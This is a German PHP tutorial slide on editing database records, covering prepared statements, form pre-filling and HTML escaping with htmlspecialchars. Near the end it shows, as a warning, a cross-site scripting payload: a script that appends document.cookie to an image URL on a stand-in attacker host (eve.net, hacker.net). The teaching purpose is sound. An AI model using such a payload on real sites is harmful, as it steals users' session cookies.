vorige Präsentation: Einfügen | zurück zum Buch-Kapitel [esc] | Nächste Präsentation Fehlerbehandlung
Wir wollen einen Datensatz aus der Datenbank laden, in einem Formular zur Bearbeitung anbieten, und dann wieder in der Datenbank speichern.
Das Lesen des Datensatzes aus der Datenbank erfolgt nun auch mit einem prepared Statement, da die ID aus dem GET-Parameter gelesen wurde:
$sth = $dbh->prepare( "SELECT * FROM users WHERE id=?" ); $sth->execute( array( $id ) ); $person = $sth->fetch();
Bei der Darstellung des Bearbeitungs-Formulars werden die Daten nun als Standardwerte dargestellt. Das passiert bei Textfeldern mit dem Value-Attribute und bei Textareas als Inhalt des Tags:
<input name="firstname" value="Tobias"> <textarea name="description" rows="7">Webdesigner</textarea>
Achtung: Falls in den Daten Anführungszeichen, kaufmännische Unds oder Kleiner-Zeichen vorkommen müssen diese für HTML escaped werden. Hier ein Beispiel:
portfolio_playground=# select firstname,description from users where id=438; firstname | description --------------------+-------------------------------- Tobias "the Coder" | Mein Lieblings-Tag ist <style> (1 row)
So würde die Darstellung der Eingabefelder nicht funktionieren:
<input name="firstname" value="Tobias "the Coder""> <textarea name="description" rows="7">Mein Lieblings-Tag ist <style></textarea>
Das Attribut value
endet zu früh, und der <style>
Tag lässt
den Rest der Webseite verschwinden.
Richtig ist die Darstellung gewisser Zeichen als HTML Entities:
<input name="firstname" value="Tobias "the coder""> <textarea name="description" rows="7">Mein Lieblings-Tag ist <style></textarea>
Diese Ersetzung wird mit der Funktion
htmlspecialchars
→ vorgenommen:
htmlspecialchars( $person->firstname );
Zusammenfassend sieht die Darstellung des Eingabeformulars so aus:
<input name="firstname" value="<?= htmlspecialchars( $person->firstname ); ?>"> <textarea name="description" rows="7"><?= htmlspecialchars( $person->description ); ?></textarea>
Die veränderten Daten werden mit POST an person_edit.php geschickt. Aus den Daten wird ein UPDATE-Statement erstellt:
$sth = $dbh->prepare( "UPDATE users SET firstname=?,surname=?,email=?, profile_visible=?,description=? WHERE id=?"); $update_went_ok = $sth->execute( array( $_POST['firstname'], $_POST['surname'], $_POST['email'], $_POST['profile_visible'], $_POST['description'], $_POST['id'] ) ); header("Location: person.php?id=" . $_POST['id']); exit;
Das Escapen der Daten für HTML hätten wir von Anfang an bei jeder Ausgabe von Daten aus der Datenbank durchführen müssen. Wir haben bisher einfach die Daten direkt mit echo ausgegeben:
<?php echo $person->firstname ?> <?php echo $person->surname ?> hat insgesamt <?php echo $no ?> Werke in dieser Datenbank. // problematisch!
Wenn hier in der Description „Mein Lieblings-Tag ist <style>“ steht, und dieser Text einfach ausgegeben wird, dann „verschwindet“ der Rest der Webseite, weil er sich nun innerhalb eines Style-Tags befindet.
$username = htmlspecialchars( $person->username ); $firstname = htmlspecialchars( $person->firstname ); $surname = htmlspecialchars( $person->surname ); $description = htmlspecialchars( $person->description ); echo <<<EOM <p>$anrede $vorname $nachname hat insgesamt $no Werke in dieser Datenbank. $ersie hat den Usernamen $username.</p> <div>$description</div> EOM;
Damit funktioniert nun die Darstellung des Datensatzes richtig:
Wenn das Escaping auf einer Webseite fehlt kann das auch für eine Attacke ausgenutzt werden, man nennt das “Cross Site Scripting”. Bei dieser Attacke braucht mein drei Personen:
So könnte der “Witz” aussehen, den Eve eingibt:
JavaScript ist doof! <img src="http://eve.net/bild.php" alt="harmlos" id="hack_tool" /> <script> document.getElementById("hack_tool").src += "?c=" + document.cookie; </script>
Mit der einen Zeile Javascript wir das Cookie an die URL des Bildes angefügt, das Ergebnis ist z.B:
JavaScript ist doof! <img id="hack_tool" alt="harmloses bild" src="http://hacker.net/bild.php?keks=PHPSESSID=6b454e966f9fc9b9a9d5126ffb076115"/>
Wenn nun Bernhard diesen Witz liest, dann wird sein Cookie an den Server von Eve gesendet.
Hätte Anna htmlspecialchars
bei der Ausgabe verwendet, so wäre das Bild nie als
Bild angezeigt worden, sondern als
JavaScript ist doof! <img id="hack_tool" alt="harmloses bild" src="http://hacker.net/bild.php?keks=PHPSESSID=6b454e966f9fc9b9a9d5126ffb076115"/>
Escaping ist also ein wichtige Maßnahme gegen Cross Site Scripting.
vorige Präsentation: Einfügen | zurück zum Buch-Kapitel [esc] | Nächste Präsentation Fehlerbehandlung
/
#